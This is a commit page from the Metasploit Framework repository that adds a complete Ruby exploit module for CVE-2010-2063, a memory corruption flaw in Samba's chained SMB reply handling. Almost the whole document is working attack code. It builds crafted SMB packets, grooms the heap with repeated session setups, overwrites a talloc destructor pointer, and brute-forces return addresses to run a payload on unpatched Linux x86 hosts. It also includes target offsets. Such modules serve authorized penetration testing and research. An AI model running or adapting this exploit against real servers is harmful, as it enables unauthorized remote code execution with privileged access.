add exploit for cve-2010-2063
git-svn-id: file:///home/svn/framework3/trunk@9841 4d416f70-5f16-0410-b530-b9f4589650daunstable
Joshua Drake
parent
d9402edde3
commit
f4f1c1105d
|
|
@ -0,0 +1,194 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::SMB
|
||||
include Msf::Exploit::Brute
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Samba chain_reply Memory Corruption (Linux x86)',
|
||||
'Description' => %q{
|
||||
This exploits a memory corruption vulnerability present in Samba versions
|
||||
prior to 3.3.13. When handling chained response packets, Samba fails to validate
|
||||
the offset value used when building the next part. By setting this value to a
|
||||
number larger than the destination buffer size, an attacker can corrupt memory.
|
||||
Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
|
||||
cause the header of the input buffer chunk to be corrupted.
|
||||
|
||||
After close inspection, it appears that 3.0.x versions of Samba are not
|
||||
exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
|
||||
cause memory to be corrupted in an exploitable way. It is possible to corrupt the
|
||||
heap header of the "InputBuffer", but it didn\'t seem possible to get the chunk
|
||||
to be processed again prior to process exit.
|
||||
|
||||
In order to gain code execution, this exploit attempts to overwrite a "talloc
|
||||
chunk" desctructor function pointer.
|
||||
|
||||
This particular module is capable of exploiting the flaw on x86 Linux systems
|
||||
that do not have the nx memory protection.
|
||||
|
||||
NOTE: It is possible to make explotiation attempts indefinitely since Samba forks
|
||||
for user sessions in the default configuration.
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-2063' ],
|
||||
[ 'OSVDB', '65518' ],
|
||||
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 0x600,
|
||||
'BadChars' => "",
|
||||
},
|
||||
'Platform' => 'linux',
|
||||
'Targets' =>
|
||||
[
|
||||
# tested OK against Debian 5 (samba 3.2.5-4lenny6)
|
||||
[ 'Linux Heap Brute Force (Debian/Ubuntu)',
|
||||
{
|
||||
'Offset2' => 0x1ff4,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
'Start' => { 'Ret' => 0x9b280d8 },
|
||||
'Stop' => { 'Ret' => 0x9b480d8 },
|
||||
'Step' => 0x300
|
||||
}
|
||||
}
|
||||
],
|
||||
|
||||
[ 'Debugging Target',
|
||||
{
|
||||
'Offset2' => 0x1ff4,
|
||||
'Bruteforce' =>
|
||||
{
|
||||
'Start' => { 'Ret' => 0xAABBCCDD },
|
||||
'Stop' => { 'Ret' => 0xAABBCCDD },
|
||||
'Step' => 0x300
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 16 2010'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(139)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
# Note: this code is duplicated from lib/rex/proto/smb/client.rb
|
||||
#
|
||||
# Authenticate using clear-text passwords
|
||||
#
|
||||
def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
|
||||
|
||||
data = [ pass, user, domain, self.simple.client.native_os, self.simple.client.native_lm ].collect{ |a| a + "\x00" }.join('');
|
||||
|
||||
pkt = CONST::SMB_SETUP_LANMAN_PKT.make_struct
|
||||
self.simple.client.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = 0x18
|
||||
pkt['Payload']['SMB'].v['Flags2'] = 0x2001
|
||||
pkt['Payload']['SMB'].v['WordCount'] = 10
|
||||
pkt['Payload'].v['AndX'] = 255
|
||||
pkt['Payload'].v['MaxBuff'] = 0xffdf
|
||||
pkt['Payload'].v['MaxMPX'] = 2
|
||||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['PasswordLen'] = pass.length + 1
|
||||
pkt['Payload'].v['Capabilities'] = 64
|
||||
pkt['Payload'].v['SessionKey'] = self.simple.client.session_id
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
self.simple.client.smb_send(pkt.to_s)
|
||||
ack = self.simple.client.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
end
|
||||
|
||||
|
||||
def brute_exploit(addrs)
|
||||
|
||||
curr_ret = addrs['Ret']
|
||||
begin
|
||||
print_status("Trying return address 0x%.8x..." % curr_ret)
|
||||
|
||||
connect
|
||||
self.simple.client.session_id = rand(31337)
|
||||
|
||||
#puts "press any key"; $stdin.gets
|
||||
|
||||
#
|
||||
# This allows us to allocate a talloc_chunk after the input buffer.
|
||||
# If doign so fails, we are lost ...
|
||||
#
|
||||
5.times {
|
||||
session_setup_clear_ignore_response('', '', '')
|
||||
}
|
||||
|
||||
tlen = 0xc00
|
||||
trans =
|
||||
"\x00\x04" +
|
||||
"\x08\x20" +
|
||||
"\xff"+"SMB"+
|
||||
"\x74" + # SMBlogoffX
|
||||
("\x00" * 3) + # pad
|
||||
("\x00" * 8) + # tc->parent, tc->child
|
||||
("\x00" * 4) + # tc->refs, must be zero
|
||||
[addrs['Ret']].pack('V') + # over writes tc->destructor
|
||||
rand_text(8) +
|
||||
"\x00\x00\x00\x00"+
|
||||
"\xd0\x07\x0c\x00"+
|
||||
"\xd0\x07\x0c\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\xd0\x07"+
|
||||
"\x43\x00\x0c\x00"+
|
||||
"\x14\x08\x01\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x00\x00"+
|
||||
"\x00\x00\x90"
|
||||
|
||||
# We put the shellcode first, since only part of this packet makes it into memory.
|
||||
trans << payload.encoded
|
||||
trans << rand_text(tlen - trans.length)
|
||||
|
||||
# Set what eventaully becomes 'smb_off2' to our unvalidated offset value.
|
||||
smb_off2 = target['Offset2']
|
||||
trans[39,2] = [smb_off2].pack('v')
|
||||
|
||||
sock.put(trans)
|
||||
|
||||
rescue EOFError
|
||||
rescue => e
|
||||
print_error("#{e}")
|
||||
end
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
|
||||
end
|
||||
Loading…
Reference in New Issue